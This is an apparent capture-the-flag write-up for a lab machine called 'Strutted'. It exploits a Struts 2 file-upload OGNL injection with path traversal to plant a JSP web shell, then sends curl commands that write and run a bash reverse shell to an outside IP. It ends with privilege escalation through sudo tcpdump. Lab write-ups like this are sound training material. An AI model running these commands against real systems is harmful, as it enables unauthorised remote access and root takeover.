25 September 2025

On this website, you can upload an image file (JPG, JPEG, PNG, or GIF) and instantly get a shareable link. That way, your image is stored securely online and can be easily shared anywhere.

let’s try upload an image and see the behavior, as we can see the URL. it is short but the image was uploaded to http://strutted.htb/uploads/20250923_213437/pixelpayload.png.

If you scroll further down the page, you’ll see that they also provide a Docker image setup. This Docker image contains the full environment (Strutted™) as a ready-to-use configuration.

as we can see from the files after searching it use Tomcat, after some researching i found that it is a web server and servlet container for running java applications.
How it work
some file
after searching in the downloaded docker image i found the source code logic for the upload which is so simple it just check the content-Len, image type, magic bytes. and uploaded to /upload/random_num/img. also i found the pom.xml after searching all these dependencies, i found interesting CVE.
the vulnerability lead to RCE. struts 2 uses OGNL (Object-Graph Navigation Language): is a language inside struts that maps from fields to java objects, in the background for example from field named user.name in html could automatically set user.setNname(,,) in java. this is very convenient but dangerous if input to restricted. example:
If your action class has:
OGNL automatically does:
so we will target FileUploadInterceptor it is class in the struts2, it’s job is to take uploaded file and read their name,content-Len, type. and file object then save them to a specific folder. t uses OGNL to assign these metadata fields internally. This allows an attacker to inject OGNL expressions in uploadFileName or uploadContentType.
this is the request i used as we can see there is couple of notes. first we must add the magic byte for the png which is PNG, then in the name it changed to Upload because remember OGNL convert name to java object. so it case sensitive. this is the first part of the multipart the second part we want to trigger top.UploadFileName to change the directory of the file and change the extension to JSP.
you might be wondering why adding it here ../../shell.jsp and no just ../shell.jsp the because in web.xml file we can see that is configured to serve all the files as static in /upload/* as we can see
after than we can use curl do this command:
curl --output -'http://strutted.htb/shell.jsp'--data-urlencode 'action=upload'--data-urlencode 'path=/tmp/s.sh'--data-urlencode 'content=bash -i >&/dev/tcp/10.10.15.45/80810>&1'
then open listener and run the script:
curl --output -'http://strutted.htb/shell.jsp'--data-urlencode 'action=cmd'--data-urlencode 'cmd=bash /tmp/s.sh'
and you will get a connection back.
we have a root user and james we have no access to his /home.
i found the password does not work for admin and james. and we see the role is manager so it might be something related to manage. i tried everything i found nothing then when i log to ssh it worked! it will be interesting to see why when we get root access.
as we can see we logged in to ssh as james

as we can see we can run tcpdump as admin. let’s see what we can do https://gtfobins.github.io/gtfobins/tcpdump/
the vulnerability is in Some programs don’t properly drop those privileges when they spawn subprocesses, which can be abused to execute arbitrary commands as root.as we can see the file was created by the root.

At first, I was confused about the password for SSH. Let’s analyze why it works for SSH but not when using su. Interestingly, when we obtained root access, the same password worked. This suggests that there might be a misconfiguration somewhere in the system.

let's see the running services
let's see the service config file.
as we can see in security tap NoNewPrivileges=true this set to true which it mean.
NoNewPrivileges is a systemd service unit setting that enhances security by preventing a process and its children from gaining new privileges after startup. When applied to a Tomcat service unit, it ensures that the Tomcat process, and any processes it spawns (e.g., via execve()), cannot elevate their privileges, for instance, by using setuid or setgid bits, or filesystem capabilities.